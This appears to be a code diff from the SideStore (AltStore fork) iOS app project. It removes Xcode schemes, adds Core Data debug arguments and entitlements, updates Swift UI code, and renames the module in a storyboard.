parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BF5C5FC4237DF5AE00EDD0C6"
BuildableName = "AltPlugin.mailbundle"
BlueprintName = "AltPlugin"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
</Testables>
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "1"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<MacroExpansion>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BF5C5FC4237DF5AE00EDD0C6"
BuildableName = "AltPlugin.mailbundle"
BlueprintName = "AltPlugin"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</MacroExpansion>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>

View File

@@ -1,91 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1020"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BF45868C229872EA00BD7491"
BuildableName = "AltServer.app"
BlueprintName = "AltServer"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
</Testables>
<MacroExpansion>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BF45868C229872EA00BD7491"
BuildableName = "AltServer.app"
BlueprintName = "AltServer"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</MacroExpansion>
<AdditionalOptions>
</AdditionalOptions>
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BF45868C229872EA00BD7491"
BuildableName = "AltServer.app"
BlueprintName = "AltServer"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
<AdditionalOptions>
</AdditionalOptions>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BF45868C229872EA00BD7491"
BuildableName = "AltServer.app"
BlueprintName = "AltServer"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>

View File

@@ -1,77 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1230"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BFF7C903257844C900E55F36"
BuildableName = "AltXPC.xpc"
BlueprintName = "AltXPC"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
</Testables>
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BF45868C229872EA00BD7491"
BuildableName = "AltServer.app"
BlueprintName = "AltServer"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<MacroExpansion>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BFF7C903257844C900E55F36"
BuildableName = "AltXPC.xpc"
BlueprintName = "AltXPC"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</MacroExpansion>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>

View File

@@ -55,7 +55,26 @@
argument = "-com.apple.CoreData.ConcurrencyDebug 1"
isEnabled = "YES">
</CommandLineArgument>
<CommandLineArgument
argument = "-com.apple.CoreData.MigrationDebug 1"
isEnabled = "YES">
</CommandLineArgument>
<CommandLineArgument
argument = "-com.apple.CoreData.SQLiteIntegrityCheck 1"
isEnabled = "NO">
</CommandLineArgument>
<CommandLineArgument
argument = "-com.apple.CoreData.SQLDebug 1"
isEnabled = "NO">
</CommandLineArgument>
</CommandLineArguments>
<EnvironmentVariables>
<EnvironmentVariable
key = "OS_ACTIVITY_MODE"
value = "$(DEBUG_ACTIVITY_MODE)"
isEnabled = "YES">
</EnvironmentVariable>
</EnvironmentVariables>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"

View File

@@ -55,7 +55,26 @@
argument = "-com.apple.CoreData.ConcurrencyDebug 1"
isEnabled = "YES">
</CommandLineArgument>
<CommandLineArgument
argument = "-com.apple.CoreData.MigrationDebug 1"
isEnabled = "YES">
</CommandLineArgument>
<CommandLineArgument
argument = "-com.apple.CoreData.SQLiteIntegrityCheck 1"
isEnabled = "NO">
</CommandLineArgument>
<CommandLineArgument
argument = "-com.apple.CoreData.SQLDebug 1"
isEnabled = "NO">
</CommandLineArgument>
</CommandLineArguments>
<EnvironmentVariables>
<EnvironmentVariable
key = "OS_ACTIVITY_MODE"
value = "$(DEBUG_ACTIVITY_MODE)"
isEnabled = "YES">
</EnvironmentVariable>
</EnvironmentVariables>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"

View File

@@ -6,7 +6,3 @@
#import "ALTAppPatcher.h"
#include "fragmentzip.h"
#ifdef MDC
#import "grant_full_disk_access.h"
#endif /* MDC */

View File

@@ -2,8 +2,12 @@
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>aps-environment</key>
<string>development</string>
<key>com.apple.developer.kernel.extended-virtual-addressing</key>
<true/>
<key>com.apple.developer.kernel.increased-debugging-memory-limit</key>
<true/>
<key>com.apple.developer.kernel.increased-memory-limit</key>
<true/>
<key>com.apple.developer.siri</key>
<true/>
<key>com.apple.security.application-groups</key>

View File

@@ -81,7 +81,7 @@ final class AppContentViewController: UITableViewController
self.subtitleLabel.text = self.app.subtitle
self.descriptionTextView.text = self.app.localizedDescription
if let version = self.app.latestVersion
if let version = self.app.latestAvailableVersion
{
self.versionDescriptionTextView.text = version.localizedDescription
self.versionLabel.text = String(format: NSLocalizedString("Version %@", comment: ""), version.version)

View File

@@ -217,8 +217,8 @@ final class AppViewController: UIViewController
self._shouldResetLayout = false
}
let statusBarHeight = UIApplication.shared.statusBarFrame.height
let statusBarHeight = self.view.window?.windowScene?.statusBarManager?.statusBarFrame.height ?? 0
let cornerRadius = self.contentViewControllerShadowView.layer.cornerRadius
let inset = 12 as CGFloat
@@ -323,7 +323,7 @@ final class AppViewController: UIViewController
self.backButtonContainerView.layer.cornerRadius = self.backButtonContainerView.bounds.midY
self.scrollView.scrollIndicatorInsets.top = statusBarHeight
self.scrollView.verticalScrollIndicatorInsets.top = statusBarHeight
// Adjust content offset + size.
let contentOffset = self.scrollView.contentOffset
@@ -384,7 +384,7 @@ private extension AppViewController
button.progress = progress
}
if let versionDate = self.app.latestVersion?.date, versionDate > Date()
if let versionDate = self.app.latestAvailableVersion?.date, versionDate > Date()
{
self.bannerView.button.countdownDate = versionDate
self.navigationBarDownloadButton.countdownDate = versionDate
@@ -510,7 +510,7 @@ extension AppViewController
catch
{
DispatchQueue.main.async {
let toastView = ToastView(error: error)
let toastView = ToastView(error: error, opensLog: true)
toastView.show(in: self)
}
}

View File

@@ -90,14 +90,21 @@ private extension AppIDsViewController
cell.bannerView.button.isUserInteractionEnabled = false
cell.bannerView.buttonLabel.isHidden = false
let currentDate = Date()
let numberOfDays = expirationDate.numberOfCalendarDays(since: currentDate)
let numberOfDaysText = (numberOfDays == 1) ? NSLocalizedString("1 day", comment: "") : String(format: NSLocalizedString("%@ days", comment: ""), NSNumber(value: numberOfDays))
cell.bannerView.button.setTitle(numberOfDaysText.uppercased(), for: .normal)
let formatter = DateComponentsFormatter()
formatter.unitsStyle = .full
formatter.includesApproximationPhrase = false
formatter.includesTimeRemainingPhrase = false
formatter.allowedUnits = [.minute, .hour, .day]
formatter.maximumUnitCount = 1
attributedAccessibilityLabel.mutableString.append(String(format: NSLocalizedString("Expires in %@.", comment: ""), numberOfDaysText) + " ")
cell.bannerView.button.setTitle((formatter.string(from: currentDate, to: expirationDate) ?? NSLocalizedString("Unknown", comment: "")).uppercased(), for: .normal)
// formatter.includesTimeRemainingPhrase = true
// attributedAccessibilityLabel.mutableString.append((formatter.string(from: currentDate, to: expirationDate) ?? NSLocalizedString("Unknown", comment: "")) + " ")
}
else
{

View File

@@ -10,7 +10,6 @@ import UIKit
import UserNotifications
import AVFoundation
import Intents
import LocalConsole
import AltStoreCore
import AltSign
@@ -59,18 +58,10 @@ final class AppDelegate: UIResponder, UIApplicationDelegate {
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool
{
// Copy STDOUT and STDERR to the logging console
_ = OutputCapturer.shared
// Register default settings before doing anything else.
UserDefaults.registerDefaults()
#if UNSTABLE
UnstableFeatures.load()
#endif
LCManager.shared.isVisible = UserDefaults.standard.isConsoleEnabled
LCManager.shared.isCharacterLimitDisabled = true // we want all logs exported
DatabaseManager.shared.start { (error) in
if let error = error
@@ -391,7 +382,7 @@ private extension AppDelegate
for update in updates
{
guard !previousUpdates.contains(where: { $0[#keyPath(InstalledApp.bundleIdentifier)] == update.bundleIdentifier }) else { continue }
guard let storeApp = update.storeApp, let version = storeApp.version else { continue }
guard let storeApp = update.storeApp, let version = storeApp.latestSupportedVersion else { continue }
let content = UNMutableNotificationContent()
content.title = NSLocalizedString("New Update Available", comment: "")

View File

@@ -1,9 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="20037" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES">
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="32700.99.1234" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES">
<device id="retina4_7" orientation="portrait" appearance="light"/>
<dependencies>
<deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="20020"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="22684"/>
<capability name="Named colors" minToolsVersion="9.0"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
@@ -13,8 +13,8 @@
<scene sceneID="lNR-II-WoW">
<objects>
<navigationController storyboardIdentifier="navigationController" id="ZTo-53-dSL" sceneMemberID="viewController">
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" barStyle="black" largeTitles="YES" id="Aej-RF-PfV" customClass="NavigationBar" customModule="AltStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" barStyle="black" largeTitles="YES" id="Aej-RF-PfV" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="20" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<color key="barTintColor" name="SettingsBackground"/>
@@ -36,19 +36,19 @@
<!--Authentication View Controller-->
<scene sceneID="OCd-xc-Ms7">
<objects>
<viewController storyboardIdentifier="authenticationViewController" id="yO1-iT-7NP" customClass="AuthenticationViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<viewController storyboardIdentifier="authenticationViewController" id="yO1-iT-7NP" customClass="AuthenticationViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="mjy-4S-hyH">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews>
<view hidden="YES" userInteractionEnabled="NO" contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="oyW-Fd-ojD" userLabel="Sizing View">
<rect key="frame" x="0.0" y="44" width="375" height="623"/>
<rect key="frame" x="0.0" y="64" width="375" height="603"/>
</view>
<scrollView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" alwaysBounceVertical="YES" indicatorStyle="white" keyboardDismissMode="onDrag" translatesAutoresizingMaskIntoConstraints="NO" id="WXx-hX-AXv">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<subviews>
<view contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" translatesAutoresizingMaskIntoConstraints="NO" id="2wp-qG-f0Z">
<rect key="frame" x="0.0" y="0.0" width="375" height="623"/>
<rect key="frame" x="0.0" y="0.0" width="375" height="603"/>
<subviews>
<stackView opaque="NO" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" axis="vertical" spacing="50" translatesAutoresizingMaskIntoConstraints="NO" id="YmX-7v-pxh">
<rect key="frame" x="16" y="6" width="343" height="359.5"/>
@@ -57,7 +57,7 @@
<rect key="frame" x="0.0" y="0.0" width="343" height="67.5"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Welcome to SideStore." textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="EI2-V3-zQZ">
<rect key="frame" x="0.0" y="0.0" width="332" height="41"/>
<rect key="frame" x="0.0" y="0.0" width="343" height="41"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="34"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
@@ -179,7 +179,7 @@
</subviews>
</stackView>
<stackView opaque="NO" contentMode="scaleToFill" verticalCompressionResistancePriority="250" axis="vertical" spacing="4" translatesAutoresizingMaskIntoConstraints="NO" id="DBk-rT-ZE8">
<rect key="frame" x="16" y="518.5" width="343" height="96.5"/>
<rect key="frame" x="16" y="498.5" width="343" height="96.5"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Why do we need this?" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="p9U-0q-Kn8">
<rect key="frame" x="0.0" y="0.0" width="343" height="20.5"/>
@@ -198,6 +198,10 @@
</stackView>
</subviews>
<constraints>
<constraint firstItem="DBk-rT-ZE8" firstAttribute="leading" secondItem="2wp-qG-f0Z" secondAttribute="leadingMargin" id="5AT-nV-ZP9"/>
<constraint firstAttribute="bottomMargin" secondItem="DBk-rT-ZE8" secondAttribute="bottom" id="HgY-oY-8KM"/>
<constraint firstAttribute="trailingMargin" secondItem="DBk-rT-ZE8" secondAttribute="trailing" id="VCf-bW-2K4"/>
<constraint firstItem="YmX-7v-pxh" firstAttribute="top" secondItem="2wp-qG-f0Z" secondAttribute="top" constant="6" id="iUr-Nd-tkt"/>
<constraint firstItem="DBk-rT-ZE8" firstAttribute="top" relation="greaterThanOrEqual" secondItem="YmX-7v-pxh" secondAttribute="bottom" constant="8" symbolic="YES" id="zTU-eY-DWd"/>
</constraints>
</view>
@@ -215,19 +219,15 @@
<constraints>
<constraint firstAttribute="bottom" secondItem="WXx-hX-AXv" secondAttribute="bottom" id="0jL-Ky-ju6"/>
<constraint firstAttribute="leadingMargin" secondItem="YmX-7v-pxh" secondAttribute="leading" id="2PO-lG-dmB"/>
<constraint firstItem="DBk-rT-ZE8" firstAttribute="leading" secondItem="2wp-qG-f0Z" secondAttribute="leadingMargin" id="5AT-nV-ZP9"/>
<constraint firstItem="oyW-Fd-ojD" firstAttribute="top" secondItem="zMn-DV-fpy" secondAttribute="top" id="730-db-ukB"/>
<constraint firstItem="2wp-qG-f0Z" firstAttribute="bottomMargin" secondItem="DBk-rT-ZE8" secondAttribute="bottom" id="HgY-oY-8KM"/>
<constraint firstItem="zMn-DV-fpy" firstAttribute="trailing" secondItem="oyW-Fd-ojD" secondAttribute="trailing" id="KGE-CN-SWf"/>
<constraint firstItem="WXx-hX-AXv" firstAttribute="top" secondItem="mjy-4S-hyH" secondAttribute="top" id="LPQ-bF-ic0"/>
<constraint firstItem="zMn-DV-fpy" firstAttribute="trailing" secondItem="WXx-hX-AXv" secondAttribute="trailing" id="MG7-A6-pKp"/>
<constraint firstAttribute="trailingMargin" secondItem="YmX-7v-pxh" secondAttribute="trailing" id="O4T-nu-o3e"/>
<constraint firstItem="zMn-DV-fpy" firstAttribute="bottom" secondItem="oyW-Fd-ojD" secondAttribute="bottom" id="PuX-ab-cEq"/>
<constraint firstItem="oyW-Fd-ojD" firstAttribute="leading" secondItem="zMn-DV-fpy" secondAttribute="leading" id="SzC-gC-Nvi"/>
<constraint firstItem="2wp-qG-f0Z" firstAttribute="trailingMargin" secondItem="DBk-rT-ZE8" secondAttribute="trailing" id="VCf-bW-2K4"/>
<constraint firstItem="WXx-hX-AXv" firstAttribute="leading" secondItem="zMn-DV-fpy" secondAttribute="leading" id="d08-zF-5X6"/>
<constraint firstItem="2wp-qG-f0Z" firstAttribute="height" secondItem="oyW-Fd-ojD" secondAttribute="height" id="dFN-pw-TWt"/>
<constraint firstItem="YmX-7v-pxh" firstAttribute="top" secondItem="2wp-qG-f0Z" secondAttribute="top" constant="6" id="iUr-Nd-tkt"/>
<constraint firstItem="2wp-qG-f0Z" firstAttribute="width" secondItem="oyW-Fd-ojD" secondAttribute="width" id="rYO-GN-0Lk"/>
</constraints>
</view>
@@ -258,13 +258,13 @@
<!--How it works-->
<scene sceneID="dMt-EA-SGy">
<objects>
<viewController storyboardIdentifier="instructionsViewController" hidesBottomBarWhenPushed="YES" id="aFi-fb-W0B" customClass="InstructionsViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<viewController storyboardIdentifier="instructionsViewController" hidesBottomBarWhenPushed="YES" id="aFi-fb-W0B" customClass="InstructionsViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" id="Otz-hn-WGS">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews>
<stackView opaque="NO" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" axis="vertical" distribution="equalSpacing" translatesAutoresizingMaskIntoConstraints="NO" id="bp6-55-IG2">
<rect key="frame" x="0.0" y="44" width="375" height="564"/>
<rect key="frame" x="0.0" y="64" width="375" height="544"/>
<subviews>
<stackView opaque="NO" contentMode="scaleToFill" alignment="center" spacing="20" translatesAutoresizingMaskIntoConstraints="NO" id="FjP-tm-w7K">
<rect key="frame" x="16" y="35" width="343" height="95.5"/>
@@ -298,7 +298,7 @@
</subviews>
</stackView>
<stackView opaque="NO" contentMode="scaleToFill" alignment="center" spacing="20" translatesAutoresizingMaskIntoConstraints="NO" id="LpI-Jt-SzX">
<rect key="frame" x="16" y="168" width="343" height="95.5"/>
<rect key="frame" x="16" y="161" width="343" height="95.5"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="2" textAlignment="right" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="0LW-eE-qHa">
<rect key="frame" x="0.0" y="0.0" width="59" height="95.5"/>
@@ -310,7 +310,7 @@
<nil key="highlightedColor"/>
</label>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="5" translatesAutoresizingMaskIntoConstraints="NO" id="dMu-eg-gIO">
<rect key="frame" x="79" y="17" width="264" height="61.5"/>
<rect key="frame" x="79" y="17.5" width="264" height="60.5"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Connect to Wi-Fi and VPN" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="esj-pD-D4A">
<rect key="frame" x="0.0" y="0.0" width="264" height="20.5"/>
@@ -319,7 +319,7 @@
<nil key="highlightedColor"/>
</label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Enable SideStore VPN in Wireguard and be able to use Sidestore on the go." textAlignment="natural" lineBreakMode="tailTruncation" numberOfLines="2" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="4rk-ge-FSj">
<rect key="frame" x="0.0" y="25.5" width="264" height="36"/>
<rect key="frame" x="0.0" y="25.5" width="264" height="35"/>
<fontDescription key="fontDescription" type="system" pointSize="16"/>
<color key="textColor" white="1" alpha="0.59999999999999998" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
@@ -329,7 +329,7 @@
</subviews>
</stackView>
<stackView opaque="NO" contentMode="scaleToFill" alignment="center" spacing="20" translatesAutoresizingMaskIntoConstraints="NO" id="tfb-ja-9UC">
<rect key="frame" x="16" y="300.5" width="343" height="95.5"/>
<rect key="frame" x="16" y="287.5" width="343" height="95.5"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="3" textAlignment="right" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="nVr-El-Csi">
<rect key="frame" x="0.0" y="0.0" width="59" height="95.5"/>
@@ -341,7 +341,7 @@
<nil key="highlightedColor"/>
</label>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="5" translatesAutoresizingMaskIntoConstraints="NO" id="z6Y-zi-teL">
<rect key="frame" x="79" y="16" width="264" height="64"/>
<rect key="frame" x="79" y="15.5" width="264" height="64"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Download Apps" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="JeJ-bk-UCA">
<rect key="frame" x="0.0" y="0.0" width="264" height="20.5"/>
@@ -360,7 +360,7 @@
</subviews>
</stackView>
<stackView opaque="NO" contentMode="scaleToFill" alignment="center" spacing="20" translatesAutoresizingMaskIntoConstraints="NO" id="X3r-G1-vf2">
<rect key="frame" x="16" y="433.5" width="343" height="95.5"/>
<rect key="frame" x="16" y="413.5" width="343" height="95.5"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="4" textAlignment="right" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="i2U-NL-plG">
<rect key="frame" x="0.0" y="0.0" width="59" height="95.5"/>
@@ -434,7 +434,7 @@
<!--Refresh AltStore-->
<scene sceneID="9Vh-dM-OqX">
<objects>
<viewController storyboardIdentifier="refreshAltStoreViewController" id="aoK-yE-UVT" customClass="RefreshAltStoreViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<viewController storyboardIdentifier="refreshAltStoreViewController" id="aoK-yE-UVT" customClass="RefreshAltStoreViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" id="R83-kV-365">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -445,7 +445,7 @@
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="8" translatesAutoresizingMaskIntoConstraints="NO" id="tDQ-ao-1Jg">
<rect key="frame" x="16" y="570" width="343" height="89"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="xcg-hT-tDe" customClass="PillButton" customModule="AltStore" customModuleProvider="target">
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="xcg-hT-tDe" customClass="PillButton" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="343" height="51"/>
<color key="backgroundColor" name="SettingsHighlighted"/>
<constraints>
@@ -493,12 +493,12 @@
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="Chr-7g-qEw" userLabel="First Responder" customClass="UIResponder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="2967" y="736"/>
<point key="canvasLocation" x="3025" y="734"/>
</scene>
<!--Select a Team-->
<scene sceneID="ioQ-WB-CLJ">
<objects>
<viewController storyboardIdentifier="selectTeamViewController" hidesBottomBarWhenPushed="YES" id="kOD-4P-a6L" customClass="SelectTeamViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<viewController storyboardIdentifier="selectTeamViewController" hidesBottomBarWhenPushed="YES" id="kOD-4P-a6L" customClass="SelectTeamViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<tableView key="view" clipsSubviews="YES" contentMode="scaleToFill" alwaysBounceVertical="YES" indicatorStyle="white" dataMode="prototypes" style="grouped" separatorStyle="none" rowHeight="60" estimatedRowHeight="-1" sectionHeaderHeight="18" sectionFooterHeight="18" id="fWW-kX-ifH">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
